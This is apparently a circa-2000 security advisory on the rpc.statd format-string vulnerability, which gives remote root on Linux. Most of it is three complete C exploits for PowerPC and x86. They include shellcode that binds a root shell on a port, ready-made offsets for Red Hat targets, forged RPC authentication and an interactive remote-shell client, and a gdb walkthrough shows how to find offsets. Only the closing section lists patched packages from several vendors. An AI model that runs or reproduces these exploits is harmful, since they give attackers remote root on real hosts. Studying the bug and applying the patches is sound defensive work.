|
COMMAND rpc.statd SYSTEMS AFFECTED Many systems PROBLEM Daniel Jacobowitz found following. Attached is an exploit. The offsets are for Linux/PowerPC, Debian 2.2. It isn't functional, though - and it's more than just kiddy-proofed. You'll need three things: (A) shellcode. There's two or three published; Daniel's isn't quite ready for public consumption. (B) sm_inter.x from the nfs-utils source (C) A way to flush the cache before running code. PowerPC (recent CPUs, at least) has a separate data and instruction cache. If you use this exploit as is, with gdb attached to the process, single stepping, it will work. If you run it on a remote machine, it won't. Why not? Because the code is on the stack, which remains in the data cache, and then the icache loads the old contents of the stack when you branch there! There are several solutions to this. You may also need to change the offsets. The exploit says all it needs to say without hand-holding Chris Evans added following. The severity of this hole, i.e. remote root, is much greater than it should be. All the stupid daemon does is listen to requests on a network, and manage a few files. Call the UNIX security model non-granular, and poor, but there's no way you need root to do that. It's true that it requires a low-port (i.e. privileged) socket to send data on, as a way of gaining the trust of the remote (where remote is often the localhost). However, since it's a connectionless UDP socket, you can launch the daemon as root, grab the socket, and drop root. Furthermore, the daemon is a prime candidate for chroot()'ing, but this is not done. The above plus a chroot() would limit the severity of this hole to a non-root shell without the ability to raise privilege by exec()'ing any suid-root binaries. Code: /* * Slightly dysfunctional rpc.statd exploit * for all the dysfunctional script kiddies out there * * Author: drow, 07/2000 * * And just for kicks... * Greets: * Chris Evans, whose fault all this is * whoever wrote the old solaris statd exploit I ripped the RPC code out of * <james> send out greetz to all the 1337 D3B14N H4X0R2!!!! * and THEM (THEY know who THEY are) * * * This is dedicated to Joel Klecker. Those who knew him know why. * */ #include <sys/types.h> #include <sys/time.h> #include <stdio.h> #include <string.h> #include <netdb.h> #include <rpc/rpc.h> #include <rpcsvc/sm_inter.h> #include <sys/socket.h> void usage(char *s) { printf("Usage: %s host [-nopoke]\n", s); exit(0); } extern char shell[]; main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i, noplen=strlen(nop), nopoke=0; char *ptr=code, *p2, code[4096]; if (argc < 2) usage(argv[0]); if (argc > 2) nopoke = 1; /* Alignment */ strcpy(ptr, "AAA"); ptr += strlen(ptr); /* Target to write to! */ *(unsigned long *)(ptr) = 0x7fffeb04; ptr += sizeof(unsigned long); /* pad */ *(unsigned long *)(ptr) = 0x11111111; ptr += sizeof(unsigned long); /* Target Two (two higher in memory probably) */ *(unsigned long *)(ptr) = 0x7fffeb06; ptr += sizeof(unsigned long); for(i = 0; i < 46-1; i++) { strcpy(ptr, "%12d"); ptr += strlen(ptr); } if(!nopoke) { /* Value to write - amount written */ /* Guess a bit - remember to leave a lot of padding, and be lucky on alignment */ /* Don't correct for IP address! Forced to localhost by stat code - same length. */ #define HIGH 0x7fff #define LOW 0xeecc sprintf(ptr, "%%%dd%%hn", HIGH - 12*45 - strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC")); ptr += strlen(ptr); sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536); ptr += strlen(ptr); /* CODE */ p2 = shell; while(*p2) *(ptr++) = *(p2++); } *(ptr++) = 0; memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name="localhost"; monreq.mon_id.my_id.my_prog=0; monreq.mon_id.my_id.my_vers=0; monreq.mon_id.my_id.my_proc=0; monreq.mon_id.mon_name= code /*code*/; if ((hp=gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n", argv[1]); exit(0); } target.sin_family=AF_INET; target.sin_addr.s_addr=*(u_long *)hp->h_addr; target.sin_port=0; /* ask portmap */ sd=RPC_ANYSOCK; tm.tv_sec=10; tm.tv_usec=0; if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); clnt_destroy(cl); } Another code (this one's for Linux): /* * rpc.statd remote root xploit for linux/x86 * based on the xploit made by drow for linux/PowerPC * * Author: Doing, 08/2000 * * NOTE: * The guest of the remote address of the saved EIP and local vars * is still a problem. The value showed on the usage worked * fine on mi suse with the compiled sources. With gdb and a little * patience you should get the address for your distro/version. * Some address doesn't work, because they cause a very long result, * and the syslog() function overflows itself when parsing the * format input :( * * Greetz to Pascal Bouchareine for that great paper on format bugs :) * * Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P * * Excuse my poor english :-) * */ #include <sys/types.h> #include <sys/time.h> #include <stdio.h> #include <string.h> #include <netdb.h> #include <rpc/rpc.h> #include <rpcsvc/sm_inter.h> #include <sys/socket.h> void usage(char *s) { printf("rpc.statd xploit for linux/x86 - Doing <jdoing@bigfoot.com>\n"); printf("Usage: %s host address command\n", s); printf("host\t: the targe host\n"); printf("address\t: the address of the buffer in function log()\n"); printf("command\t: command to run remotely\n\n"); printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm -ut -display 127.0.0.1:0\"\n\n", s); printf("Enjoy!\n"); exit(0); } /* shellcode without cr/lf and control caracters */ char *code = "\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89" "\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb" "\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83" "\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e" "\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff" "\xff\xff/bin/sh -c "; char shellcode[4096]; void make_shellcode(char *cdir, char *cmd) { unsigned long dir, ret; int c, eat = 14; int first_n = 0xc9; char tmp[1024]; int i, i0, i1, i2; char *ptr = shellcode; memset(shellcode, 0, 4096); sscanf(cdir, "%x", &dir); ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */ dir += 1028; /* dir = address of saved EIP = address of buffer + 1024 bytes of buffer + 4 bytes of SFP */ ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; dir++; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; dir++; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; dir++; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; for ( c = 0; c < eat; c++) { sprintf(ptr, "%%x "); ptr = &shellcode[strlen(shellcode)]; } i0 = (ret & 0xff); if (i0 > first_n) sprintf(ptr, "%%0%ix%%n", i0 - first_n); if (i0 == first_n) sprintf(ptr, "%%n"); if (i0 < first_n) { i0 |= 0x0100; sprintf(ptr, "%%0%ix%%n", i0 - first_n); } ptr = &shellcode[strlen(shellcode)]; i = (ret & 0xff00) >> 8; if (i > i0) sprintf(ptr, "%%0%ix%%n", i - i0); if (i == i0) sprintf(ptr, "%%n"); if (i < i0) { i |= 0x0100; sprintf(ptr, "%%0%ix%%n", i - i0); } ptr = &shellcode[strlen(shellcode)]; i1 = (ret & 0xff0000) >> 16; if (i1 > i) sprintf(ptr, "%%0%ix%%n", i1 - i); if (i1 == i) sprintf(ptr, "%%n"); if (i1 < i) { i1 |= 0x0100; sprintf(ptr, "%%0%ix%%n", i1 - i); } ptr = &shellcode[strlen(shellcode)]; i2 = (ret & 0xff000000) >> 24; i2 |= 0x0200; sprintf(ptr, "%%0%ix%%n", i2 - i1); ptr = &shellcode[strlen(shellcode)]; for (c = 0; c < 50; c++) { sprintf(ptr, "\x90"); ptr = &shellcode[strlen(shellcode)]; } sprintf(ptr, "%s%s\x00", code, cmd); } main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i; if (argc < 4) usage(argv[0]); make_shellcode(argv[2], argv[3]); memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name ="localhost"; monreq.mon_id.my_id.my_prog = 0; monreq.mon_id.my_id.my_vers = 0; monreq.mon_id.my_id.my_proc = 0; monreq.mon_id.mon_name = shellcode; if ((hp=gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n", argv[1]); exit(0); } target.sin_family=AF_INET; target.sin_addr.s_addr=*(u_long *)hp->h_addr; target.sin_port=0; /* ask portmap */ sd = RPC_ANYSOCK; tm.tv_sec=10; tm.tv_usec=0; if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); clnt_destroy(cl); } To compile the exploit you need the librpcsvc library: gcc statd.c -o statd -lrpcsvc Way of finding offsets for your distro/version. Launch statd and attach it with gdb: [root@localhost statd]# ./statd [root@localhost statd]# ps aux | grep st root 394 0.0 0.9 1184 576 ? S 15:27 0:00 ./statd [root@localhost statd]# gdb ./statd GNU gdb 4.18 [ cut cut cut cut ] (gdb) attach 394 Attaching to program: /zecreto/doing/xploits/daemon/rpc.statd/knfsd-1.3.2/utils/statd/./statd, process 394 [ Now put a breakpoint on the function log() ] (gdb) break log Breakpoint 1 at 0x804a10a: file log.c, line 82. (gdb) c Continuing. [ At this point run the xploit ] Breakpoint 1, log (level=2, fmt=0x804c820 "SM_MON request for hostname containing '/': %s") at log.c:82 82 va_start(ap, fmt); [ And put another breakpoint in the function syslog() ] (gdb) break syslog Breakpoint 2 at 0x400d12e6: file syslog.c, line 102. (gdb) c Continuing. Breakpoint 2, syslog (pri=2, fmt=0xbfffef38 "SM_MON request for hostname containing '/': [garbage]..) ^^^^^^^^^ This is the address of the buffer in function log. If you run the exploit with this value it should work. Had enough? Ok, here comes another one by ron1n... Included below is an exploit for the recently exposed linux rpc.statd format string vulnerability[0]. /** *** statdx *** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32) *** by ron1n <shellcode@hotmail.com> *** *** July 24, 2000 *** Sydney, Australia *** *** Oh you prob'ly won't remember me *** It's prob'ly ancient history *** I'm one of the chosen few *** Who went ahead and fell for you *** *** $ gcc -o statdx statdx.c ; ./statdx -h *** *** background info *** --------------- *** rpc.statd is an ONC RPC server that implements the Network Status *** Monitor RPC protocol to provide reboot notification. It is used by *** the NFS file locking service (rpc.lockd) when it performs lock *** recovery. *** *** Due to a format string vulnerability in a call to syslog() within *** its logging module, rpc.statd can be exploited remotely by script *** kids bent on breaking into your Redhat Linux box and defacing your *** website with crackpot political musings. *** *** This is not a traditional buffer overflow vulnerability. The data *** are kept within the bounds of the buffer by means of a call to *** vsnprintf(). The saved return address can be overwritten indirectly *** without a contiguous payload. syslog() is given, for the most part, *** a user-supplied format string with no process-supplied arguments. *** Our format string will, if carefully constructed, cause the process *** to cull non-arbitrary addresses from the top of the stack for *** sequential writes using controlled values. Exploitation requires *** an executable stack on the target host -- almost invariably the *** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm. *** *** exploit info *** ------------ *** You have one shot at this in most situations, so get it right! *** *** If you know the port number rpc.statd is serving requests on, you *** can supply the port number on the commandline to bypass the initial *** portmapper query. This is very useful for hosts which are filtering *** inbound connections to the portmapper. The default attack protocol *** is UDP. There is a commandline option to use TCP. Apparently, the *** dispatcher uses both protocols by default. *** *** If you're only interested in exploiting a host, then you can safely *** skip the following information. You'll only need a buffer address *** to get started. This buffer address will either be one of my canned *** ones or your own one. It must be precise, and this is where you're *** likely to experience difficulties with your attacks. *** *** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]-----> *** | | *** %esp buffer[1024] *** *** [%x..][%!d][%n][%!d][%n][%!d][%n][%!d][%n][sc]---> *** | r | r+1 | r+2 | r+3 | *** *** buffer -> This is the address you'll need (-a and -l options) *** str -> Process-supplied string; 24 bytes long *** 4 -> Duplicate dwords to satisfy the %!d specifiers and *** the double %n when two successive values are equal *** r -> Stack position of saved eip *** %x.. -> Wipes the va_list dword and str; 9 by default (-w option) *** %!d -> Used for padding to form an aggregate overwrite value; *** the exclamation mark denotes a field width. This may *** or may not be present, depending on the value. An *** algorithm is used to allow tricky values. *** %n -> Writes overwrite value to the corresponding address *** sc -> Nops + portbinding shellcode (port 39168) *** *** Only modify the default wipe value and the default offset value if you *** know what you're doing. *** *** An easy way to get the buffer address for simulation systems that you *** have privileged access to: *** *** [term 1]# ltrace -p `pidof rpc.statd` -o foo *** [term 2]$ ./statdx -r 0x41414141 localhost *** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \ *** awk -F"," '{print $1}' *** *** (Of course, ensure that rpc.statd is started at boot time and not from *** an interactive shell, otherwise it will inherit a larger environment *** and blow the accuracy of your findings.) *** *** Ok, longwinded enough. Let's dance. *** *** greets *** ------ *** ADM, attrition, rogues, security.is, teso *** **/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <netdb.h> #include <rpc/rpc.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <netinet/in.h> #define SM_PROG 100024 #define SM_VERS 1 #define SM_STAT 1 #define SM_MAXSTRLEN 1024 #define max(a,b) ((a)>(b)?(a):(b)) #define NOP 0x90 /* ** Non-ripped linux IA32 portbinding shellcode. ** port: 39168 ; length: 133 bytes */ char shellcode[] = "\x31\xc0" /* xorl %eax,%eax */ /* jmp ricochet ------------------------------------------------------- */ "\xeb\x7c" /* jmp 0x7c */ /* kungfu: ------------------------------------------------------------ */ "\x59" /* popl %ecx */ "\x89\x41\x10" /* movl %eax,0x10(%ecx) */ /* ------------------------------------ socket(2,1,0); ---------------- */ "\x89\x41\x08" /* movl %eax,0x8(%ecx) */ "\xfe\xc0" /* incb %al */ "\x89\x41\x04" /* movl %eax,0x4(%ecx) */ "\x89\xc3" /* movl %eax,%ebx */ "\xfe\xc0" /* incb %al */ "\x89\x01" /* movl %eax,(%ecx) */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ bind(sd,&sockaddr,16); -------- */ "\xb3\x02" /* movb $0x2,%bl */ "\x89\x59\x0c" /* movl %ebx,0xc(%ecx) */ "\xc6\x41\x0e\x99" /* movb $0x99,0xe(%ecx) */ "\xc6\x41\x08\x10" /* movb $0x10,0x8(%ecx) */ "\x89\x49\x04" /* movl %ecx,0x4(%ecx) */ "\x80\x41\x04\x0c" /* addb $0xc,0x4(%ecx) */ "\x88\x01" /* movb %al,(%ecx) */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ listen(sd,blah); -------------- */ "\xb3\x04" /* movb $0x4,%bl */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ accept(sd,0,16); -------------- */ "\xb3\x05" /* movb $0x5,%bl */ "\x30\xc0" /* xorb %al,%al */ "\x88\x41\x04" /* movb %al,0x4(%ecx) */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ dup2(cd,0); ------------------- */ "\x89\xce" /* movl %ecx,%esi */ "\x88\xc3" /* movb %al,%bl */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x3f" /* movb $0x3f,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ dup2(cd,1); ------------------- */ "\xfe\xc1" /* incb %cl */ "\xb0\x3f" /* movb $0x3f,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ dup2(cd,2); ------------------- */ "\xfe\xc1" /* incb %cl */ "\xb0\x3f" /* movb $0x3f,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ execve("/bin/sh",argv,0); ----- */ "\xc7\x06\x2f\x62\x69\x6e" /* movl $0x6e69622f,(%esi) */ "\xc7\x46\x04\x2f\x73\x68\x41" /* movl $0x4168732f,0x4(%esi) */ "\x30\xc0" /* xorb %al,%al */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x0c" /* movl %esi,0xc(%esi) */ "\x8d\x56\x10" /* leal 0x10(%esi),%edx */ "\x8d\x4e\x0c" /* leal 0xc(%esi),%ecx */ "\x89\xf3" /* movl %esi,%ebx */ "\xb0\x0b" /* movb $0xb,%al */ "\xcd\x80" /* int $0x80 */ /* ------------------------------------ exit(blah); ------------------- */ "\xb0\x01" /* movb $0x1,%al */ "\xcd\x80" /* int $0x80 */ /* ricochet: call kungfu ---------------------------------------------- */ "\xe8\x7f\xff\xff\xff"; /* call -0x81 */ enum res { stat_succ, stat_fail }; struct sm_name { char *mon_name; }; struct sm_stat_res { enum res res_stat; int state; }; struct type { int type; char *desc; char *code; u_long bufpos; int buflen; int offset; int wipe; }; struct type types[] = { {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600, 9}, {1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9}, {2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9}, {0, NULL, NULL, 0, 0, 0, 0} }; bool_t xdr_sm_name(XDR *xdrs, struct sm_name *objp) { if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN)) return (FALSE); return (TRUE); } bool_t xdr_res(XDR *xdrs, enum res *objp) { if (!xdr_enum(xdrs, (enum_t *)objp)) return (FALSE); return (TRUE); } bool_t xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp) { if (!xdr_res(xdrs, &objp->res_stat)) return (FALSE); if (!xdr_int(xdrs, &objp->state)) return (FALSE); return (TRUE); } void usage(char *app) { int i; fprintf(stderr, "statdx by ron1n <shellcode@hotmail.com>\n"); fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app); fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type] <target>\n"); fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n"); fprintf(stderr, "-p\trpc.statd serves requests on <port> [query]\n"); fprintf(stderr, "-a\tthe stack address of the buffer is <addr>\n"); fprintf(stderr, "-l\tthe length of the buffer is <len> [1024]\n"); fprintf(stderr, "-o\tthe offset to return to is <offset> [600]\n"); fprintf(stderr, "-w\tthe number of dwords to wipe is <num> [9]\n"); fprintf(stderr, "-s\tset timeout in seconds to <secs> [5]\n"); fprintf(stderr, "-d\tuse a hardcoded <type>\n"); fprintf(stderr, "Available types:\n"); for(i = 0; types[i].desc; i++) fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc); exit(EXIT_FAILURE); } void runshell(int sockd) { char buff[1024]; int fmax, ret; fd_set fds; fmax = max(fileno(stdin), sockd) + 1; send(sockd, "cd /; ls -alF; id;\n", 19, 0); for(;;) { FD_ZERO(&fds); FD_SET(fileno(stdin), &fds); FD_SET(sockd, &fds); if(select(fmax, &fds, NULL, NULL, NULL) < 0) { perror("select()"); exit(EXIT_FAILURE); } if(FD_ISSET(sockd, &fds)) { bzero(buff, sizeof buff); if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) { perror("recv()"); exit(EXIT_FAILURE); } if(!ret) { fprintf(stderr, "Connection closed\n"); exit(EXIT_FAILURE); } write(fileno(stdout), buff, ret); } if(FD_ISSET(fileno(stdin), &fds)) { bzero(buff, sizeof buff); ret = read(fileno(stdin), buff, sizeof buff); errno = 0; if(send(sockd, buff, ret, 0) != ret) { if(errno) perror("send()"); else fprintf(stderr, "Transmission loss\n"); exit(EXIT_FAILURE); } } } } void connection(struct sockaddr_in host) { int sockd; host.sin_port = htons(39168); if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket()"); exit(EXIT_FAILURE); } if(!connect(sockd, (struct sockaddr *) &host, sizeof host)) { printf("OMG! You now have rpc.statd technique!@#$!\n"); runshell(sockd); } close(sockd); } char * wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe) { int i, j, cnt, pad; char pbyte, *buff, *ptr; u_long retpos; u_long dstpos; while(bufpos % 4) bufpos--; /* buflen + ebp */ retpos = bufpos + buflen + 4; /* ** 0x00 == '\0' ** 0x25 == '%' ** (add troublesome bytes) ** Alignment requirements aid comparisons */ pbyte = retpos & 0xff; /* Yes, it's 0x24 */ if(pbyte == 0x00 || pbyte == 0x24) { fprintf(stderr, "Target address space contains a poison char\n"); exit(EXIT_FAILURE); } /* ** Unless the user gives us a psychotic value, ** the address should now be clean. */ /* str */ cnt = 24; /* 1 = process nul */ buflen -= cnt + 1; if(!(buff = malloc(buflen + 1))) { perror("malloc()"); exit(EXIT_FAILURE); } ptr = buff; memset(ptr, NOP, buflen); for(i = 0; i < 4; i++, retpos++) { /* junk dword */ for(j = 0; j < 4; j++) *ptr++ = retpos >> j * 8 & 0xff; /* r + i */ memcpy(ptr, ptr - 4, 4); ptr += 4; cnt += 8; } /* restore */ retpos -= 4; for(i = 0; i < wipe; i++) { /* consistent calculations */ strncpy(ptr, "%8x", 3); ptr += 3; cnt += 8; } dstpos = bufpos + offset; /* ** This small algorithm of mine can be used ** to obtain "difficult" values.. */ for(i = 0; i < 4; i++) { pad = dstpos >> i * 8 & 0xff; if(pad == (cnt & 0xff)) { sprintf(ptr, "%%n%%n"); ptr += 4; continue; } else { int tmp; /* 0xffffffff = display count of 8 */ while(pad < cnt || pad % cnt <= 8) pad += 0x100; pad -= cnt, cnt += pad; /* the source of this evil */ tmp = sprintf(ptr, "%%%dx%%n", pad); ptr += tmp; } } *ptr = NOP; /* plug in the shellcode */ memcpy(buff + buflen - strlen(sc), sc, strlen(sc)); buff[buflen] = '\0'; printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff)); printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset); printf("wiping %d dwords\n", wipe); return buff; } struct in_addr getip(char *host) { struct hostent *hs; if((hs = gethostbyname(host)) == NULL) { herror("gethostbyname()"); exit(EXIT_FAILURE); } return *((struct in_addr *) hs->h_addr); } int main(int argc, char **argv) { int ch; char *buff; CLIENT *clnt; enum clnt_stat res; struct timeval tv, tvr; struct sm_name smname; struct sm_stat_res smres; struct sockaddr_in addr; int type = -1; int usetcp = 0; int timeout = 5; int wipe = 9; int offset = 600; int buflen = 1024; char *target; char *sc = shellcode; u_short port = 0; u_long bufpos = 0; int sockp = RPC_ANYSOCK; extern char *optarg; extern int optind; extern int opterr; opterr = 0; while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1) { switch(ch) { case 't': usetcp = 1; break; case 'p': sscanf(optarg, "%hu", &port); break; case 'a': sscanf(optarg, "%lx", &bufpos); break; case 'l': buflen = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case 's': timeout = atoi(optarg); break; case 'w': wipe = atoi(optarg); break; case 'd': type = atoi(optarg); break; default : usage(argv[0]); } } if(!(target = argv[optind])) { fprintf(stderr, "No target host specified\n"); exit(EXIT_FAILURE); } if(type >= 0) { if(type >= sizeof types / sizeof types[0] - 1) { fprintf(stderr, "Invalid type\n"); exit(EXIT_FAILURE); } sc = types[type].code; bufpos = types[type].bufpos; buflen = types[type].buflen; offset = types[type].offset; wipe = types[type].wipe; } if(!bufpos) { fprintf(stderr, "No buffer address specified\n"); exit(EXIT_FAILURE); } bzero(&addr, sizeof addr); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr = getip(target); tv.tv_sec = timeout; tv.tv_usec = 0; if(!usetcp) { clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp); if(clnt == NULL) { clnt_pcreateerror("clntudp_create()"); exit(EXIT_FAILURE); } tvr.tv_sec = 2; tvr.tv_usec = 0; clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr); } else { clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0); if(clnt == NULL) { clnt_pcreateerror("clnttcp_create()"); exit(EXIT_FAILURE); } } /* AUTH_UNIX / AUTH_SYS authentication forgery */ clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL); buff = wizardry(sc, bufpos, buflen, offset, wipe); smname.mon_name = buff; res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name, (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res, (caddr_t) &smres, tv); if(res != RPC_SUCCESS) { clnt_perror(clnt, "clnt_call()"); printf("A timeout was expected. Attempting connection to shell.."); sleep(5); connection(addr); printf("Failed\n"); } else { printf("Failed - statd returned res_stat: (%s) state: %d\n", smres.res_stat ? "failure" : "success", smres.state); } free(buff); clnt_destroy(clnt); return -1; } SOLUTION The current version of statd does not have these problems, for at least the past two weeks (current version at time of writing is 0.1.9.1). Fixed Debian packages are available for alpha, sparc, powerpc, and i386: http://http.us.debian.org/debian/dists/potato/main/source/net/nfs-utils_0.1.9.1-1.tar.gz http://http.us.debian.org/debian/dists/potato/main/source/net/nfs-utils_0.1.9.1-1.dsc http://http.us.debian.org/debian/dists/potato/main/binary-alpha/net/nfs-common_0.1.9.1-1.deb http://http.us.debian.org/debian/dists/potato/main/binary-i386/net/nfs-common_0.1.9.1-1.deb http://http.us.debian.org/debian/dists/potato/main/binary-powerpc/net/nfs-common_0.1.9.1-1.deb http://http.us.debian.org/debian/dists/potato/main/binary-sparc/net/nfs-common_0.1.9.1-1.deb http://http.us.debian.org/debian/dists/unstable/main/source/net/nfs-utils_0.1.9.1-1.tar.gz http://http.us.debian.org/debian/dists/unstable/main/source/net/nfs-utils_0.1.9.1-1.dsc http://http.us.debian.org/debian/dists/unstable/main/binary-i386/net/nfs-common_0.1.9.1-1.deb http://http.us.debian.org/debian/dists/unstable/main/binary-powerpc/net/nfs-common_0.1.9.1-1.deb http://http.us.debian.org/debian/dists/unstable/main/binary-sparc/net/nfs-common_0.1.9.1-1.deb A bug recently discovered in the nfs-utils package can theoretically be used for gaining remote root for Trustix Linux as well. While there is currently no known exploits for this hole "in the wild", we suggest that all users of Trustix Secure Linux 1.0x and 1.1 upgrade. The new package is called nfs-utils-0.1.9.1-1tr.i586.rpm, and can be found at: http://www.trustix.net/download/Trustix/updates/1.1/RPMS/ ftp://ftp.trustix.com/pub/Trustix/updates/1.1/RPMS/ All Red Hat Linux 6.x users are supposed to upgrade to 2.2.16 (the capabilities errata said so), and this is explicitly mentioned in this errata as well. This fixes a critical security bug. People rolling their own kernel would update this on their own too, as there is a critical bug fix in the 2.2.16 kernel. After that zou can install update. sparc: ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm alpha: ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm i386: ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm sources: ftp://updates.redhat.com/6.2/SRPMS/nfs-utils-0.1.9.1-1.src.rpm After installing the new nfs-utils package, the rpc.statd service must be restarted. To do this, run: /etc/rc.d/init.d/nfslock restart For Caldera Systems have this on your mind. rpc.statd should not be confused with rpc.rstatd. The former implements the Network Status Monitor protocol, which is used by the NFS locking functionality. The latter allows remote clients to query a host's statistics (such as load average etc). Caldera OpenLinux, eServer and eDesktop do not ship with rpc.statd, and hence are not affected by this problem. For Linux-Mandrake: 7.0/RPMS/nfs-utils-0.1.9.1-3mdk.i586.rpm 7.0/RPMS/nfs-utils-clients-0.1.9.1-3mdk.i586.rpm 7.0/SRPMS/nfs-utils-0.1.9.1-3mdk.src.rpm 7.1/RPMS/nfs-utils-0.1.9.1-3mdk.i586.rpm 7.1/RPMS/nfs-utils-clients-0.1.9.1-3mdk.i586.rpm 7.1/SRPMS/nfs-utils-0.1.9.1-3mdk.src.rpm For Conectiva Linux: ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0/i386/nfs-utils-0.1.9.1-3cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.0es/i386/nfs-utils-0.1.9.1-3cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.1/i386/nfs-utils-0.1.9.1-3cl.i386.rpm ftp://ftp.conectiva.com.br/pub/conectiva/atualizacoes/4.2/i386/nfs-utils-0.1.9.1-3cl.i386.rpm 